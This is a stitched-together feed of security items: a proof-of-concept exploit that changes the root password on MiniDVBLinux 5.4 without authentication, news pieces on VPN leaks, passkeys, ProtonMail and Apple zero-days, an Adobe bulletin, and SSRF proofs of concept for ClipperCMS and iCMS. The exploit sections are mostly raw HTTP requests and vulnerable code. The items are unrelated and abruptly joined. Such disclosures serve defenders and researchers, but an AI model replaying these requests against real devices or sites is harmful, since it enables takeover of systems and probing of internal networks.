MiniDVBLinux versions 5.4 and below root password changing proof of concept exploit.

    MiniDVBLinux 5.4 Change Root Password PoCVendor: MiniDVBLinuxProduct web page: https://www.minidvblinux.deAffected version: <=5.4Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simpleway to convert a standard PC into a Multi Media Centre based on theVideo Disk Recorder (VDR) by Klaus Schmidinger. Features of thisLinux based Digital Video Recorder: Watch TV, Timer controlledrecordings, Time Shift, DVD and MP3 Replay, Setup and configurationvia browser, and a lot more. MLD strives to be as small as possible,modular, simple. It supports numerous hardware platforms, like classicdesktops in 32/64bit and also various low power ARM systems.Desc: The application allows a remote attacker to change the rootpassword of the system without authentication (disabled by default)and verification of previously assigned credential. Command executionalso possible using several POST parameters.Tested on: MiniDVBLinux 5.4           BusyBox v1.25.1           Architecture: armhf, armhf-rpi2           GNU/Linux 4.19.127.203 (armv7l)           VideoDiskRecorder 2.4.6Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2022-5715Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5715.php24.09.2022--Default root password: mld500Change system password:-----------------------POST /?site=setup&section=System HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6Cache-Control: max-age=0Connection: keep-aliveContent-Length: 778Content-Type: application/x-www-form-urlencodedCookie: fadein=true; sessid=fb9b4f16b50c4d3016ef434c760799fc; PHPSESSID=jbqjvk5omsb6pbpas78ll57qnpmvb4st7fk3r7slq80ecrdsubebn31tptjhvfbaHost: ip:8008Origin: http://ip:8008Referer: http://ip:8008/?site=setup&section=SystemUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36sec-gpc: 1APT_UPGRADE_CHECK=1&APT_SYSTEM_ID=1&APT_PACKAGE_CLASS_command=%2Fetc%2Fsetup%2Fapt.sh+setclass&APT_PACKAGE_CLASS=stable&SYSTEM_NAME=MiniDVBLinux&SYSTEM_VERSION_command=%2Fetc%2Fsetup%2Fbase.sh+setversion&SYSTEM_VERSION=5.4&SYSTEM_PASSWORD_command=%2Fetc%2Fsetup%2Fbase.sh+setpassword&SYSTEM_PASSWORD=r00t&BUSYBOX_ACPI_command=%2Fetc%2Fsetup%2Fbusybox.sh+setAcpi&BUSYBOX_NTPD_command=%2Fetc%2Fsetup%2Fbusybox.sh+setNtpd&BUSYBOX_NTPD=1&LOG_LEVEL=1&SYSLOG_SIZE_command=%2Fetc%2Fsetup%2Finit.sh+setsyslog&SYSLOG_SIZE=&LANG_command=%2Fetc%2Fsetup%2Flocales.sh+setlang&LANG=en_GB.UTF-8&TIMEZONE_command=%2Fetc%2Fsetup%2Flocales.sh+settimezone&TIMEZONE=Europe%2FKumanovo&KEYMAP_command=%2Fetc%2Fsetup%2Flocales.sh+setkeymap&KEYMAP=de-latin1&action=save&params=&changed=SYSTEM_PASSWORD+Pretty post data:APT_UPGRADE_CHECK: 1APT_SYSTEM_ID: 1APT_PACKAGE_CLASS_command: /etc/setup/apt.sh setclassAPT_PACKAGE_CLASS: stableSYSTEM_NAME: MiniDVBLinuxSYSTEM_VERSION_command: /etc/setup/base.sh setversionSYSTEM_VERSION: 5.4SYSTEM_PASSWORD_command: /etc/setup/base.sh setpasswordSYSTEM_PASSWORD: r00tBUSYBOX_ACPI_command: /etc/setup/busybox.sh setAcpiBUSYBOX_NTPD_command: /etc/setup/busybox.sh setNtpdBUSYBOX_NTPD: 1LOG_LEVEL: 1SYSLOG_SIZE_command: /etc/setup/init.sh setsyslogSYSLOG_SIZE: LANG_command: /etc/setup/locales.sh setlangLANG: en_GB.UTF-8TIMEZONE_command: /etc/setup/locales.sh settimezoneTIMEZONE: Europe/KumanovoKEYMAP_command: /etc/setup/locales.sh setkeymapKEYMAP: de-latin1action: saveparams: changed: SYSTEM_PASSWORD Eenable webif password check:-----------------------------POST /?site=setup&section=System HTTP/1.1APT_UPGRADE_CHECK: 1APT_SYSTEM_ID: 1APT_PACKAGE_CLASS_command: /etc/setup/apt.sh setclassAPT_PACKAGE_CLASS: stableSYSTEM_NAME: MiniDVBLinuxSYSTEM_VERSION_command: /etc/setup/base.sh setversionSYSTEM_VERSION: 5.4SYSTEM_PASSWORD_command: /etc/setup/base.sh setpasswordSYSTEM_PASSWORD: BUSYBOX_ACPI_command: /etc/setup/busybox.sh setAcpiBUSYBOX_NTPD_command: /etc/setup/busybox.sh setNtpdBUSYBOX_NTPD: 1LOG_LEVEL: 1SYSLOG_SIZE_command: /etc/setup/init.sh setsyslogSYSLOG_SIZE: LANG_command: /etc/setup/locales.sh setlangLANG: en_GB.UTF-8TIMEZONE_command: /etc/setup/locales.sh settimezoneTIMEZONE: Europe/BerlinKEYMAP_command: /etc/setup/locales.sh setkeymapKEYMAP: de-latin1WEBIF_PASSWORD_CHECK: 1action: saveparams: changed: WEBIF_PASSWORD_CHECK Disable webif password check:-----------------------------POST /?site=setup&section=System HTTP/1.1APT_UPGRADE_CHECK: 1APT_SYSTEM_ID: 1APT_PACKAGE_CLASS_command: /etc/setup/apt.sh setclassAPT_PACKAGE_CLASS: stableSYSTEM_NAME: MiniDVBLinuxSYSTEM_VERSION_command: /etc/setup/base.sh setversionSYSTEM_VERSION: 5.4SYSTEM_PASSWORD_command: /etc/setup/base.sh setpasswordSYSTEM_PASSWORD: BUSYBOX_ACPI_command: /etc/setup/busybox.sh setAcpiBUSYBOX_NTPD_command: /etc/setup/busybox.sh setNtpdBUSYBOX_NTPD: 1LOG_LEVEL: 1SYSLOG_SIZE_command: /etc/setup/init.sh setsyslogSYSLOG_SIZE: LANG_command: /etc/setup/locales.sh setlangLANG: en_GB.UTF-8TIMEZONE_command: /etc/setup/locales.sh settimezoneTIMEZONE: Europe/BerlinKEYMAP_command: /etc/setup/locales.sh setkeymapKEYMAP: de-latin1action: saveparams: changed: WEBIF_PASSWORD_CHECK

MiniDVBLinux 5.4 Change Root Password

Categories: News
Tags: VPN

Tags:  iOS

Tags:  Android

Tags:  tunnel

Tags:  captive portal

Tags:  leak

Tags:  anonymity

“Block connections without VPN” doesn't block all connections without a VPN and “Always on VPN” isn't always on.



(Read more...)




The post Android and iOS leak some data outside VPNs appeared first on Malwarebytes Labs.

Virtual Private Networks (VPNs) on Android and iOS are in the news. It’s been discovered that in certain circumstances, some of your traffic is leaked so it ends up outside of the safety cordon created by the VPN.

Mullvad, the discoverers of this Android “feature” say that it has the potential to cause someone to be de-anonymised (but only in rare cases as it requires a fair amount of skill on behalf of the snooper). At least one Google engineer claims that this isn’t a major concern, is intended functionality, and will continue as is for the time being.

**MUL22-03**

The Android discovery, currently named MUL22-03, is not the VPN's fault. The transmission of data outside of the VPN is something which happens quite deliberately, to all brands of VPN, and not as the result of some sort of terrible hack or exploit. Although the full audit report has not yet been released, the information available so far may be worrying for some. According to the report, Android sends “connectivity checks” (traffic that determines if a connection has been made successfully) outside of whichever VPN tunnel you happen to have in place.

Perhaps confusingly, this also occurs whether or not you have “Block connections without VPN” or even “Always on VPN” switched on, which is (supposed) to do what you’d expect given the name. It’s quite reasonable to assume a setting which says one thing will not in fact do the opposite of that thing, so what is going on here?

The leakage arises as a result of certain special edge case scenarios, in which case Android will override the various “Do not do this without a VPN” settings. This would happen, for example, with something like a captive portal. A captive portal is something you typically access when joining a network—something like a hotspot sign-in page stored on a gateway.

Why? Because VPNs run on top of whatever Internet-connected network you are on, so you have to join a network before you can establish your VPN connection. Anything that happens before you establish your VPN connection can't be protected by it.

As per Bleeping Computer, this leakage can include DNS lookups, HTTPs traffic, IP addresses and (perhaps) NTP traffic (Network Time Protocol, a protocol for synchronising net-connected clocks).

Mullvad VPN first reported this a documentation issue, and then asked for a way to “...disable connectivity checks while 'Block connections without VPN' (from now on lockdown) is enabled for a VPN app.”

Google's response, via its issue tracker was “We do not think such an option would be understandable by most users, so we don't think there is a strong case for offering this.”

According to Google, disabling connectivity checks is a non-starter for four reasons: VPNs might actually be relying on them; "split channel" traffic that doesn't ever use the VPN might be relying on them; it isn't just connectivity checks that bypass the VPN anyway; and the data revealed by the connectivity checks is available elsewhere.

The rest is a back and forth debate on the pros and cons of this stance, which is still ongoing. At this point, Google is not budging.

**iOS has entered the chat**

It seems this isn’t something only confined to Android. There are similar things happening on iOS 16, with multiple Apple services claimed to be leaking outside of the VPN tunnel including maps, health, and wallet.

> We confirm that iOS 16 does communicate with Apple services outside an active VPN tunnel. Worse, it leaks DNS requests. #Apple services that escape the VPN connection include Health, Maps, Wallet.  
> We used @ProtonVPN and #Wireshark. Details in the video:#CyberSecurity #Privacy pic.twitter.com/ReUmfa67ln
> 
> — Mysk 🇨🇦🇩🇪 (@mysk\_co) October 12, 2022

According to Mysk, the traffic being sent to Apple isn't insecure, it's just going against what users expect.

> All of the traffic that appeared in the video is either encrypted or double encrypted. The issue here is about wrong assumptions. The user assumes that when the VPN is on, ALL traffic is tunneled through the VPN. But iOS doesn't tunnel everything. Android doesn't either.

They suggest that one way forward to stop this from happening would be to treat VPN apps as browsers and “require a special approval and entitlement from Apple”.

There probably won’t be much movement on this issue until the release of the full report on MUL22-03, but for now the opinion from those involved in testing seems to be that the risk is small.

Android and iOS leak some data outside VPNs

Google wants to make your digital life—in its ecosystem, anyway—passwordless and more secure.

Google recently announced that passkey support is coming to both the Android operating system and the Google Chrome web browser—and if you're wondering exactly what that means, you're in the right place. Passkeys are essentially a replacement for passwords that are designed to be more secure. You use them instead of traditional passwords to get into your various digital accounts, whether that's Google, Twitter, Dropbox, or anything else.

You don't get an _actual_ key. Instead, some kind of unlocking mechanism—typically facial recognition or fingerprint recognition, or just a PIN code—is used to prove you are who you say you are for the purposes of logging in.

However, it's not just a case of pressing a button and switching over. Developers need to also code passkey support into their apps and websites, which is why Google made the announcement on its Android Developers Blog.

The move is part of a broader industry push toward a passwordless future—you might have noticed that Microsoft is doing something similar. Users don't have to remember passwords, and there aren't any passwords for hackers to steal.

How Passkeys Work

You'll soon be able to create passkeys on your Android devices.

Google via David Nield

As Google puts it, a passkey “identifies a particular user account on some online service.” At its center is a cryptographic private key that gets stored on the devices you use. This is then matched against a public key held by the digital services you're signing into to confirm your identity.

To make sure it's really you, you'll need to unlock your phone or computer, which on a phone usually means entering a PIN code or letting your face or fingerprint get scanned. On computers, passwords may still be used to verify your identity, but the industry is moving toward biometric authentication all the time.

You don't actually see the passkey itself or need to know what it is—you just have to be you. Your face or fingerprint replaces that long list of passwords on a Post-it note that you might have, so it's much simpler and more convenient.

These passkeys use public-key cryptography, so if they're involved in a data breach, they're useless to bad actors without your face or your fingerprint. Similarly, if your laptop or phone gets stolen, your accounts can't be accessed because you're not going to be around to provide the necessary authentication.

This isn't just a Google initiative. Organizations such as the FIDO Alliance and the W3C Web Authentication group are busy working toward a passwordless future as well, so you'll be able to use these systems across any device, whether made by Google, Apple, Microsoft, or any other hardware maker.

Setting Up and Using Passkeys

Biometric authentication can be used in place of a password.

Google via David Nield

The good news is that using passkeys is as easy as unlocking your phone—it's intended to be as straightforward as possible. You'll be able to choose to move to a passkey system for your accounts, but only when the app you're logging in to and the device you're using have been upgraded with passkey support.

Let's say Google has finished rolling out passkey support to Android, you're logging in to an app that has been updated to use passkeys, and you've said yes when prompted to make the switch from a standard password. You'll then be asked to create a passkey, which will involve you having to do the same action you do to unlock your phone—show your face, press down your fingerprint, or enter a PIN. That creates the passkey and authenticates the link between the app in question and the device in your hand. Whenever you need to log in to that app in future, you'll need to go through the same unlock process. As with passwords, how long that authentication lasts will vary: With your banking app, you'll usually have to log in every time, whereas with a social media account one login per device is often enough.

You'll also be able to log in to sites on your computer through your phone via the magic of a QR code. The site will display a QR code that you scan with your phone—once you've gone through the unlock process on your mobile device, your identity will be confirmed and you'll be logged in to the site.

Encrypted synchronization across devices will also be handled—Google Password Manager is adding support for passkeys, for example, so should you lose access to one device, you can still get at your accounts from another one or from the cloud, assuming you're able to provide the necessary authentication (and you haven't changed your fingerprints or face in the meantime).

How to Use Passkeys in Google Chrome and Android

By Waqas
Two Factor Authentication via Physical Security Keys is Now Possible on ProtonMail.
This is a post from HackRead.com Read the original post: Encrypted Email Service ProtonMail Now Supports Physical Security Keys

ProtonMail is the latest company to allow the use of **physical security keys** to log into accounts through two-factor authentication. Proton is a Switzerland-based company offering numerous popular services like end-to-end encrypted **ProtonMail**.

According to ProtonMail, the company acknowledges that users look for better protection of sensitive data and prevent hackers and third parties from accessing it. The latest step of allowing consumers to **use security keys in 2FA** to log into their accounts is aimed at enhancing user data security and privacy and reducing the possibility of email security threats such as phishing scams.

So far, ProtonMail has used time-sensitive verification codes/Time-based one-time passwords (**TOTP**) created by an authentication app installed on the mobile device. However, despite being a safer method than sending the code in SMS messages to the device, it has a shortcoming: the received code’s introduction period was relatively short.

Now, the company is allowing users to perform 2FA via security keys to eliminate the hassle for good. And it will make the user feel more confident about their data’s security because of the possession element, as they would physically have the key.

Another benefit is that consumers can use the integrated security key to verify their identity using Windows Hello, or **Apple Touch ID-based biometric data**.

Regarding the keys it will support, ProtonMail **explained** that for now, it would be supporting YubiKey and keys that comply with the FIDO2 (Fast IDentity Online) or U2F (Universal 2nd Factor) standard.

For your information, **YubiKey** is a hardware authentication device used to protect access to networks, computers, and online services. It supports OTP (one-time passwords), verification, and public-key cryptography.

> Physical security keys are a straightforward way to provide additional protection because even if a victim is tricked into entering credentials on a phishing site, compromising the target account without physical possession of the key itself is difficult.
> 
> Andy Yen, Founder and CEO of Proton

This step from ProtonMail has paved the way for mobile devices to be used as security keys, and the company aims to expand its support for various other options.

1.  ProtonMail’s Free ProtonVPN to Fight Online Censorship
2.  Email Encryption Service Provider ‘ProtonMail’ Now on Tor
3.  German court forcing Tutanota to let authorities read emails
4.  “ProtonMail Contacts” launches encrypted contacts manager
5.  Microsoft bars Tutanota users from registering MS Teams accounts

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Encrypted Email Service ProtonMail Now Supports Physical Security Keys

Adobe Acrobat Reader versions 22.002.20212 (and earlier) and 20.005.30381 (and earlier) are affected by a NULL Pointer Dereference vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Security update available for Adobe Acrobat and Reader  | APSB22-46

**Bulletin ID**

**Date Published**

**Priority**

APSB22-46

October 11, 2022

3

**Summary**

Adobe has released security updates for Adobe Acrobat and Reader for Windows and macOS. These updates address critical and important vulnerabilities. Successful exploitation could lead to application denial-of-service and memory leak.                    

**Affected Versions**

**Product**

**Track**

**Affected Versions**

**Platform**

Acrobat DC 

Continuous 

22.002.20212 and earlier versions

Windows &  macOS

Acrobat Reader DC

Continuous 

22.002.20212 and earlier versions  

Windows & macOS

Acrobat 2020  

Classic 2020             

20.005.30381 and earlier versions

Windows & macOS  

Acrobat Reader 2020  

Classic 2020             

20.005.30381 and earlier versions  

Windows & macOS  

For questions regarding Acrobat DC, please visit the Acrobat DC FAQ page. 

**Solution**

Adobe recommends users update their software installations to the latest versions by following the instructions below.    

The latest product versions are available to end users via one of the following methods:    

*   Users can update their product installations manually by choosing Help > Check for Updates.     
    
*   The products will update automatically, without requiring user intervention, when updates are detected.      
    
*   The full Acrobat Reader installer can be downloaded from the Acrobat Reader Download Center.     
    

For IT administrators (managed environments):     

*   Refer to the specific release note version for links to installers.     
    
*   Install updates via your preferred methodology, such as AIP-GPO, bootstrapper, SCUP/SCCM (Windows), or on macOS, Apple Remote Desktop and SSH.     
    

Adobe categorizes these updates with the following priority ratings and recommends users update their installation to the newest version:    

**Product**

**Track**

**Updated Versions**

**Platform**

**Priority Rating**

**Availability**

Acrobat DC

Continuous

22.003.20258  

Windows and macOS

3

Release Notes     

Acrobat Reader DC

Continuous

22.003.20258  

Windows and macOS

3

Release Notes     

Acrobat 2020  

Classic 2020             

20.005.30407

Windows  and macOS    

3

Release Notes     

Acrobat Reader 2020  

Classic 2020   

20.005.30407  

Windows  and macOS   

3

Release Notes   

**Vulnerability Details**

**Vulnerability Category**

**Vulnerability Impact**

**Severity**

**CVSS base score**

CVSS vector

**CVE Number**

NULL Pointer Dereference (CWE-476)  

Application denial-of-service  

Important

5.5

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H  

CVE-2022-35691  

Use After Free (CWE-416)  

Memory Leak

Important

5.5

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N  

CVE-2022-38437  

Stack-based Buffer Overflow (CWE-121)  

Arbitrary code execution  

Critical

7.8

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H  

  
CVE-2022-38450  

Stack-based Buffer Overflow (CWE-121)  

Arbitrary code execution  

Critical  

7.8  

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H  

CVE-2022-42339  

Out-of-bounds Read (CWE-125)  

Memory leak  

Important

5.5

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N  

CVE-2022-38449  

Out-of-bounds Read (CWE-125)  

Memory leak  

Important  

5.5

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N  

CVE-2022-42342  

**Acknowledgements**

Adobe would like to thank the following for reporting these issues and for working with Adobe to help protect our customers:   

*   Suyue Guo and Wei You from Renmin University of China (ruc\_se\_sec) - CVE-2022-35691  
    
*   Gil Mansharov (gilmansharov) - CVE-2022-38437
*   Rocco Calvi (@TecR0c) working with Trend Micro Zero Day Initiative - CVE-2022-42342  
    
*   soiax working with Trend Micro Zero Day Initiative - CVE-2022-38449
*   Zhiyuan Wang、Li shuang and willJ of vulnerability research institute - CVE-2022-42339,   
    CVE-2022-38450

**Revisions:**

July 26, 2022: Added CVE details for CVE-2022-35669

May 9th, 2022: Added CVE details for CVE-2022-28837, CVE-2022-28838

April 18, 2022: Updated acknowledgement for CVE-2022-24102, CVE-2022-24103, CVE-2022-24104  

For more information, visit https://helpx.adobe.com/security.html, or email PSIRT@adobe.com.

CVE-2022-35691: Adobe Security Bulletin

Such exploits sell for up to $10 million, making them the single most valuable commodity in the cybercrime underworld.

Over the past few years, there's been an increase in the number of attackers targeting Apple, especially with zero-day exploits. One major reason is that a zero-day exploit might just be the most valuable asset in a hacker's portfolio — and hackers know it. In 2022 alone, Apple has discovered seven zero-days and has followed up these discoveries with the required remedial updates. But it doesn't seem like the cat-and-mouse game will die anytime soon.

In 2021, the number of recorded zero-days overall was more than double the figures recorded in 2020, showing the highest level since tracking began in 2014, according to a repository maintained by Project Zero. MIT Technology Review attributed this rise to the "rapid global proliferation of hacking tools" and the willingness of powerful state and non-state groups to invest handsomely in the discovery and infiltration of these operating systems. Threat actors actively search for vulnerabilities, find a way to exploit them, then sell the information to the highest bidder.

**The Zero-Day Battles**

Suffering repeatedly from these infiltrations is the tech giant, Apple. After recovering from 12 recorded exploitations and remediation in 2021, Apple was welcomed into the new year of 2022 with two zero-day bugs in its operating systems and a WebKit flaw that could have leaked users' browsing data. Barely one month after releasing 23 security patches to fix those issues, another flaw was discovered — one that would allow attackers to infect users' devices when they process certain malicious Web content.

Fast-forward to August 17 and Apple revealed it had found two new vulnerabilities in its operating system: CVE-2022-32893 and CVE-2022-32894. The first vulnerability gives remote code execution (RCE) access to Apple's Safari Web browser kit, used by every iOS and macOS-enabled browser. The second, another RCE flaw, gives attackers complete and unrestricted access to the user's software and hardware. Both vulnerabilities affect most Apple devices — especially the iPhone 6 and later models, iPad Pro, iPad Air 2 onwards, iPad 5th generation and newer models, iPad mini 4 and newer versions, iPod touch (7th generation), and macOS Monterrey. Recognizing the risk level of such a threat, Apple recently released security updates to remediate these "actively exploited" vulnerabilities. This would be the fifth and sixth zero-day vulnerability exploited in Apple's systems just this year.

A couple weeks later, speculations about another zero-day exploit arose. One research team, in particular, said it found an ad on the Dark Web offering a supposedly weaponized version of an Apple vulnerability for over €2 million. While these speculations remain unconfirmed, soon after Apple released security updates for its seventh actively exploited zero-day vulnerability of 2022: CVE-2022-32917. According to the advisory, attackers could leverage this flaw to create applications that execute arbitrary code with kernel capabilities.

Zero-day exploits sell for up to $10 million, Digital Shadows' Photon Research Team reports, positioning them as the single most expensive commodity in the cybercrime underworld. With a bounty like that, the market for these exploits are bound to expand and further exacerbate cyber threats.

**Apple Isn't Alone in the Zero-Day Wild**

Apple is not alone in this struggle. In recent months, tech giants like Microsoft, Adobe, and Google have also had to patch zero-day vulnerabilities that have been actively exploited in the deep Web. A June article on Dark Reading noted that there had been "a total of 18 security vulnerabilities exploited as unpatched zero-days in the wild," and the number has since risen to 24. From all indications, attackers won't slow down anytime soon, especially as new variants of already patched zero days continue to surface.

As adversaries continue to find loopholes across systems and security architectures, enterprise leaders must keep prioritizing proactive defenses to stay ahead of attacks. One way to be proactive, according to Craig Harber, CTO at Fidelis Cybersecurity, is for organizations to map cyber terrains by gaining full visibility into their entire systems.

"Discovery is a ballet of strategy, inventory, and evaluation. Organizations need the ability to continuously discover, classify, and assess assets — including servers, enterprise IoT, laptops, desktops, shadow IT, and legacy systems," he notes.

Apple's Constant Battles Against Zero-Day Exploits

ClipperCMS 1.3.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the pkg_url parameter at /manager/index.php.

**PoC**

There is a SSRF vulnerability in the pkg\_url parameter of the index.php?a=120 interface in ClipperCMS-clipper\_1.3.3

    manager\actions\package_manager.php
    
    if ((@$_GET['repo'] || $_GET['repo'] === '0') && ctype_digit($_GET['repo']) && $_GET['repo'] < sizeof($repos)) {
    
        $mode = 'repo-list';
        $repo_tag = (isset($_GET['tag']) && ctype_alpha($_GET['tag'])) ? $_GET['tag'] : null;
        $PM_cache_idx = $repo_tag ? $repo_tag : 0;
    
    } elseif ($_SERVER['REQUEST_METHOD'] == 'POST') {
    
        if (@$_POST['pkg_url']) {
    
            $PM = new PackageManager($modx, $_POST['pkg_url']);
            $mode = 'summarise';
    
        } elseif (@$_POST['pkg_folder']) {
    
            $PM = new PackageManager($modx, $_POST['pkg_folder']);
            $mode = 'summarise';
    
        } elseif (isset($_FILES['pkg_file']) && $_FILES['pkg_file']['error'] != UPLOAD_ERR_NO_FILE) {
    
            switch($_FILES['pkg_file']['error']) {
                case UPLOAD_ERR_OK:
                
                    if (is_uploaded_file($_FILES['pkg_file']['tmp_name'])) {
                        $PM = new PackageManager($modx, $_FILES['pkg_file']['tmp_name'], $_FILES['pkg_file']['name']);
                        $mode = 'summarise';
                    } else {
                        $errmsg = $_lang['package_manager_error_internal'];
                    }
                    
                    break;
    
                case UPLOAD_ERR_INI_SIZE:
                    $errmsg = $_lang['package_manager_error_filesize'];
                    break;
    
                default:
                    $errmsg = $_lang['package_manager_error_internal'];
                    break;
        
            }
            ...
    
    

**http://xxxx/manager/index.php?a=120**

    
    POST /manager/index.php?a=120 HTTP/1.1
    Host: 192.168.156.136
    Content-Length: 602
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.156.136
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEJOp0kky1hQLWB2A
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.156.136/manager/index.php?a=120&repo=0
    Accept-Encoding: gzip, deflate
    Accept-Language: zh,zh-CN;q=0.9
    Cookie: iCMS_ADMIN_AUTH=51bf76419l_i3_t-1_yZJVXGwCgSQ1XfO4exCxVvHn4s8hU09WAjnkVsBo-0gp1LoJu3_X3RBjw9g_ZEpv5avtlt4MCgPGuzQYz31RXZtB9wWh-Yh5JB6CnhL2HOsg; my_wikiUserID=3; my_wikiUserName=123; 4c707ae227f79bf7de196947377b3e3d=da02mk81p3acuoocm7sp7jk4u2; PHPSESSID=rfkgmjgnf85n1qcc1ii3rsqag6; SN6310b3eaca4dc=ru28c1conkikqpb0k7ualk29u5
    Connection: close
    
    ------WebKitFormBoundaryEJOp0kky1hQLWB2A
    Content-Disposition: form-data; name="pkg_url"
    
    http://192.168.156.136:88/111
    ------WebKitFormBoundaryEJOp0kky1hQLWB2A
    Content-Disposition: form-data; name="pkg_file"; filename=""
    Content-Type: application/octet-stream
    
    
    ------WebKitFormBoundaryEJOp0kky1hQLWB2A
    Content-Disposition: form-data; name="pkg_folder"
    
    
    ------WebKitFormBoundaryEJOp0kky1hQLWB2A
    Content-Disposition: form-data; name="verbose"
    
    0
    ------WebKitFormBoundaryEJOp0kky1hQLWB2A
    Content-Disposition: form-data; name="go"
    
    Upload
    ------WebKitFormBoundaryEJOp0kky1hQLWB2A--
    
    

**Acknowledgement**

Thanks to the partners who discovered the vulnerability together：

Yi-fei Gao en-ze wang lin-jie wu

CVE-2022-41497: insight/ClipperCMS SSRF.md at master · jayus0821/insight

iCMS v7.0.16 was discovered to contain a Server-Side Request Forgery (SSRF) via the url parameter at admincp.php.

There is a SSRF vulnerability in the url parameter of the admincp.php interface in iCMS-v7.0.16

    app\spider\spider_tools.class.php
    
    public static function remote($url,$ref=null,$_count = 0) {
            if(self::safe_url($url)===false) return false;
    
            (iPHP_SHELL && self::$debug) && print self::datetime()."\033[36mspider_tools::remote\033[0m [".($_count+1)."] => ".$url.PHP_EOL;
    
            $parsed = parse_url($url);
            $url = str_replace('&amp;', '&', $url);
            if(empty(spider::$referer)){
                spider::$referer = $parsed['scheme'] . '://' . $parsed['host'];
            }
    
            $options = array(
                CURLOPT_URL                  => $url,
                CURLOPT_REFERER              => self::$CURLOPT_REFERER?self::$CURLOPT_REFERER:spider::$referer,
                CURLOPT_USERAGENT            => self::$CURLOPT_USERAGENT?self::$CURLOPT_USERAGENT:spider::$useragent,
                CURLOPT_ENCODING             => self::$CURLOPT_ENCODING?self::$CURLOPT_ENCODING:spider::$encoding,
                CURLOPT_TIMEOUT              => self::$CURLOPT_TIMEOUT,
                CURLOPT_CONNECTTIMEOUT       => self::$CURLOPT_CONNECTTIMEOUT,
                CURLOPT_RETURNTRANSFER       => 1,
                CURLOPT_FAILONERROR          => 0,
                CURLOPT_HEADER               => 0,
                CURLOPT_NOSIGNAL             => true,
                // CURLOPT_DNS_USE_GLOBAL_CACHE => true,
                // CURLOPT_DNS_CACHE_TIMEOUT    => 86400,
                CURLOPT_SSL_VERIFYPEER       => false,
                CURLOPT_SSL_VERIFYHOST       => false
                // CURLOPT_FOLLOWLOCATION => 1,// 使用自动跳转
                // CURLOPT_MAXREDIRS => 7,//查找次数，防止查找太深
            );
            ...
    

    GET c HTTP/1.1
    Host: 192.168.156.136:88
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh,zh-CN;q=0.9
    Cookie: iCMS_ADMIN_AUTH=b5e13749p_MURGBi7YR3-HetWrkTTKq1pTW78-1apE9T74fye8D9Ticl-PqpZ5raVcOeex3BRI6jYetvGYFegWP00Gv1a4Q2a_RIxQi81T1HtLgYm00OzJzHEb-pVQ
    Connection: close

CVE-2022-41496: insight/iCMS SSRF.md at master · jayus0821/insight

ClipperCMS 1.3.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the rss_url_news parameter at /manager/index.php.

There is a SSRF vulnerability in the rss\_url\_news parameter of the index.php?a=30 interface in ClipperCMS-clipper\_1.3.3

    POST /manager/index.php?a=30 HTTP/1.1
    Host: 192.168.156.136
    Content-Length: 6669
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.156.136
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.156.136/manager/index.php?a=17
    Accept-Encoding: gzip, deflate
    Accept-Language: zh,zh-CN;q=0.9
    Cookie: iCMS_ADMIN_AUTH=51bf76419l_i3_t-1_yZJVXGwCgSQ1XfO4exCxVvHn4s8hU09WAjnkVsBo-0gp1LoJu3_X3RBjw9g_ZEpv5avtlt4MCgPGuzQYz31RXZtB9wWh-Yh5JB6CnhL2HOsg; my_wikiUserID=3; my_wikiUserName=123; 4c707ae227f79bf7de196947377b3e3d=da02mk81p3acuoocm7sp7jk4u2; PHPSESSID=rfkgmjgnf85n1qcc1ii3rsqag6; SN6310b3eaca4dc=ru28c1conkikqpb0k7ualk29u5; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
    Connection: close
    
